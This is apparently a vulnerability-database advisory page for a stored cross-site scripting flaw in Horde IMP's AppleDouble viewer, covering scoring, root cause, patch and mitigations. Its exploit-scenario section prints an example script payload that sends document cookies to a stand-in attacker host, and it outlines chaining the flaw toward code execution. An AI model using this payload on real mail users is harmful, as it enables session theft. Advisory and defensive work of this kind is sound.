Skip to main content

Horde IMP CVE-2026-65053

| EUVDEUVD-2026-64899 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-24 VulnCheck GHSA-8wpm-p8h2-x7wh
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft multipart/appledouble email with script payload in MIME part name
  2. Delivery
    Send email to target IMP user
  3. Exploit
    Victim opens message in webmail browser
  4. Execution
    _IMPrender() inserts unsanitized name into HTML
  5. Persist
    JavaScript executes in victim's authenticated session
  6. Impact
    Session credentials exfiltrated or, if victim is admin, escalation via CVE-2026-58451 to application code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target must be running Horde IMP version prior to 7.2.0 with the AppleDouble MIME viewer active (the default configuration). The victim must open (render) the crafted email in a browser-based IMP session - a normal and expected user action, not a deliberate security interaction. The CVSS 4.0 vector PR:N confirms the attacker requires no credentials or account on the target system; only the ability to deliver email to the victim's address is needed. Exploitation of the more severe code-execution escalation path additionally requires that the message be viewed in an IMP administrator's session and that CVE-2026-58451 be simultaneously present and exploitable. Stored delivery means the payload fires on every subsequent view of the message, not only the first.

Impact

The CVSS 4.0 score of 5.1 with vector AV:N/AC:L/AT:N/PR:N/UI:A reflects a low-complexity, network-delivered attack requiring only that the victim open the message - a routine webmail action, not a deliberate security decision, so the UI:A constraint provides limited real-world protection. The stored XSS nature is an important amplifier absent from the base score: the payload persists and fires on every view, increasing the attack surface beyond a one-time event. A publicly available exploit writeup (blog.evan.lat) substantially narrows the skill gap for exploitation. The most significant risk signal is the researcher's documented escalation chain: script running in an administrator's session can reach a code-execution path via CVE-2026-58451, elevating this from session-hijacking to potential full application compromise - an impact not captured by the CVSS 4.0 score. No CISA KEV listing was identified at time of analysis, so confirmed active exploitation is not established, though the exploit's public availability makes opportunistic targeting plausible. The limited deployment footprint of Horde IMP compared to mainstream webmail platforms constrains aggregate exposure.

Exploit ScenarioDerived

An attacker crafts a multipart/appledouble email in which the data part's MIME name parameter contains a JavaScript payload such as <script>fetch('https://attacker.example/?c='+document.cookie)</script>, then sends it to any IMP user. When the victim opens the message in their webmail browser, the unsanitized name is rendered verbatim into the page HTML, executing the script in the victim's authenticated session and enabling cookie theft or further session abuse. A publicly available exploit writeup details this technique and additionally demonstrates chaining with CVE-2026-58451 to reach application-level code execution when an IMP administrator is the victim.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Stored XSS in Horde IMP's AppleDouble MIME viewer (all versions before 7.2.0) allows any email sender to execute arbitrary JavaScript in a recipient's browser session when they view a crafted message. No account on the target system is required - only the ability to deliver mail - and because the payload persists in the mailbox it can re-execute on every subsequent view. A publicly available exploit exists, and the researcher documents a chained escalation path combining this flaw with CVE-2026-58451 that reaches application code execution when triggered in an IMP administrator's session.

RemediationAI

Upgrade to Horde IMP 7.2.0 or later, which resolves the flaw by applying htmlspecialchars() with ENT_QUOTES to the MIME part name before HTML insertion (patch commit f31449a12e3f945c90015d29524925c4c43f6324, available at https://github.com/horde/imp/commit/f31449a12e3f945c90015d29524925c4c43f6324; release at https://github.com/horde/imp/releases/tag/v7.2.0). If an immediate upgrade is not feasible, disabling the AppleDouble MIME viewer in IMP's MIME viewer configuration prevents the vulnerable code path from executing at the cost of losing rendering support for Mac-format attachments. Deploying a Content-Security-Policy header that prohibits inline scripts (script-src 'self') provides a secondary defense-in-depth layer but may require application-level changes to IMP's own inline scripts and should be tested carefully. Because the escalation to code execution requires CVE-2026-58451 to also be present, patching both vulnerabilities is recommended; the VulnCheck advisory at https://www.vulncheck.com/advisories/horde-imp-before-stored-cross-site-scripting-via-appledouble-viewer-part-name provides further context.

Affected VersionsENISA

IMP 0 <7.2.0

Affected Packages

euvd imp fix: 7.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Horde IMP is a PHP webmail application. The vulnerable code is in lib/Mime/Viewer/Appledouble.php, which handles multipart/appledouble MIME messages - a format originating on macOS for encoding resource and data forks as email attachments. The _IMPrender() method calls IMP_Contents::getPartName() to retrieve the name parameter of the data part directly from the raw MIME message, then interpolates that value via sprintf() into an IMP_Mime_Status text entry without any sanitization. IMP_Mime_Status::__toString() concatenates each entry verbatim into surrounding HTML table markup, so attacker-controlled content reaches the rendered page without HTML entity encoding. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), with the trust boundary failure occurring when externally supplied MIME metadata is treated as safe text rather than untrusted data. The patch at commit f31449a12e3f945c90015d29524925c4c43f6324 wraps the value with htmlspecialchars($data_name, ENT_QUOTES, $this->getConfigParam('charset')), resolving the flaw by encoding HTML metacharacters before insertion. Affected CPE: cpe:2.3:a:horde:imp:*:*:*:*:*:*:*:*.

Know when Horde gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Email delivery requires no attacker credentials (PR:N); victim viewing the message satisfies UI:R; XSS executes in browser context distinct from server application (S:C), with low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Horde IMP's AppleDouble MIME viewer writes an attacker-controlled attachment name into an HTML status block without escaping it. In lib/Mime/Viewer/Appledouble.php, _IMPrender() obtains the name of the data part with IMP_Contents::getPartName(), which returns the MIME part's own name parameter as supplied by the message, and passes it through sprintf into the text of an IMP_Mime_Status object. IMP_Mime_Status::__toString() concatenates each text entry directly into the surrounding table markup, so the value reaches the rendered page verbatim. A message crafted as multipart/appledouble whose data part carries markup in its name parameter therefore executes script in the context of any user who views it, and the payload persists in the mailbox. Exploitation requires no account on the target system, only the ability to send mail to a user. Version 7.2.0 escapes the value with htmlspecialchars(). The researcher additionally chains this flaw with the arbitrary file read of CVE-2026-58451, and reports that script running in an administrator's session can reach an application code-execution path.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche open-source PHP webmail, limited enterprise deployment
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Horde

View all
CVE-2014-1691 HIGH POC
7.5 Apr 01

The framework/Util/lib/Horde/Variables.php script in the Util library in Horde before 5.1.1 allows remote attackers to c

CVE-2012-0209 HIGH POC
7.5 Sep 25

Horde 3.3.12, Horde Groupware 1.2.10, and Horde Groupware Webmail Edition 1.2.10, as distributed by FTP between November

CVE-2020-8518 CRITICAL POC
9.8 Feb 17

Horde Groupware Webmail Edition 5.2.22 allows injection of arbitrary PHP code via CSV data, leading to remote code execu

CVE-2019-9858 HIGH POC
8.8 May 29

Remote code execution was discovered in Horde Groupware Webmail 5.2.22 and 5.2.17. Rated high severity (CVSS 8.8), this

CVE-2017-15235 HIGH POC
7.5 Oct 11

The File Manager (gollem) module 3.0.11 in Horde Groupware 5.2.21 allows remote attackers to bypass Horde authentication

CVE-2019-12095 HIGH POC
8.8 Oct 24

Horde Trean, as used in Horde Groupware Webmail Edition through 5.2.22 and other products, allows CSRF, as demonstrated

CVE-2017-14650 HIGH POC
8.1 Sep 21

A Remote Code Execution vulnerability has been found in the Horde_Image library when using the "Im" backend that utilize

CVE-2022-30287 HIGH POC
8.0 Jul 28

Horde Groupware Webmail Edition through 5.2.22 allows a reflection injection attack through which an attacker can instan

CVE-2017-7413 HIGH
8.8 Apr 04

In Horde_Crypt before 2.7.6, as used in Horde Groupware Webmail Edition through 5.2.17, OS Command Injection can occur i

CVE-2015-7984 MEDIUM POC
6.8 Nov 19

Multiple cross-site request forgery (CSRF) vulnerabilities in Horde before 5.2.8, Horde Groupware before 5.2.11, and Hor

CVE-2020-8866 MEDIUM POC
6.5 Mar 23

This vulnerability allows remote attackers to create arbitrary files on affected installations of Horde Groupware Webmai

CVE-2020-8865 MEDIUM POC
6.3 Mar 23

This vulnerability allows remote attackers to execute local PHP files on affected installations of Horde Groupware Webma

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy